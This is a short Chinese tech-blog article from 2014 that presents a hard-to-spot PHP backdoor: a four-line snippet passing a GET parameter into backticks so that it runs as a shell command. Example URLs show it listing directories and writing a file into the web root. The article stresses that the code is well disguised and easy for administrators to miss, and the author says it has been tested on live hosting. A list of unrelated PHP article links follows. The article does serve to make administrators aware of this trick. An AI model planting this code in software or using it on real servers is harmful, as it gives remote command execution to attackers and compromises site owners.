一个不易被发现的PHP后门代码解析

 更新时间:2014年07月05日 16:16:53   投稿:shichen2014  
这篇文章主要介绍了一个不易被发现的PHP后门代码解析,对于网络安全来说非常重要,需要的朋友可以参考下

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

  • php出现内存位置访问无效错误问题解决方法

    php出现内存位置访问无效错误问题解决方法

    这篇文章主要介绍了php出现内存位置访问无效错误问题解决方法,本文分析后得出的原因是sqlite扩展导致,需要的朋友可以参考下
    2014-08-08
  • php cout<<的一点看法

    php cout<<的一点看法

    cout<<运算符后面如果是常整数,那么最大可以输出4294967295,即2^32-1,不允许出现负数,也就是说,cout<<运算符对于常整数只重载了unsigned int型;对于有小数的情况,则保留6位有效数字.
    2010-01-01
  • php计算两个坐标(经度,纬度)之间距离的方法

    php计算两个坐标(经度,纬度)之间距离的方法

    这篇文章主要介绍了php计算两个坐标(经度,纬度)之间距离的方法,涉及php相关数学函数的使用技巧,非常具有实用价值,需要的朋友可以参考下
    2015-04-04
  • php 计算两个时间戳相隔的时间的函数(小时)

    php 计算两个时间戳相隔的时间的函数(小时)

    计算两个时间戳相隔的时间,以前脚本之家发布过具体到天数的,这个可以具体到小时数,需要的朋友可以参考下。
    2009-12-12
  • PHP怎么实现网站保存快捷方式方便用户随时浏览

    PHP怎么实现网站保存快捷方式方便用户随时浏览

    网站保存快捷方式以后在浏览起来就比较方便了,实现的方法有很多,下面为大家详细介绍下使用PHP实现网站快捷方式的保存,有此需求的朋友可以参考下,希望对大家有所帮助
    2013-08-08
  • 详解php中流行的rpc框架

    详解php中流行的rpc框架

    如果用一句话概括RPC就是:远程调用框架(Remote Procedure Call)。远程调用意思就是:被调用方法的具体实现不在程序运行本地,而是在别的某个远程地方。
    2021-05-05
  • 生成ubuntu自动切换壁纸xml文件的php代码

    生成ubuntu自动切换壁纸xml文件的php代码

    运行代码后在图片目录下会生成yuxing.xml,方便ubuntu自动切换壁纸.
    2010-07-07
  • php 7新特性之类型申明详解

    php 7新特性之类型申明详解

    在PHP7,一个新的功能,返回类型声明已被引入。返回类型声明指定的一个函数返回值的类型。下面这篇文章主要给大家介绍了php 7新特性之类型申明的相关资料,文中介绍的非常详细,需要的朋友可以参考借鉴,下面来一起看看吧。
    2017-06-06
  • PHP实现变色验证码实例

    PHP实现变色验证码实例

    验证码想必大家都有见到过吧,在本文为大家介绍下PHP如何实现变色验证码,感兴趣的朋友可以参考下
    2014-01-01
  • Netbeans 8.2将支持PHP7 更精彩

    Netbeans 8.2将支持PHP7 更精彩

    这篇文章主要介绍了Netbeans 8.2将支持PHP7,更精彩,下面就和大家一起学习学习,感兴趣的小伙伴们可以参考一下
    2016-06-06

最新评论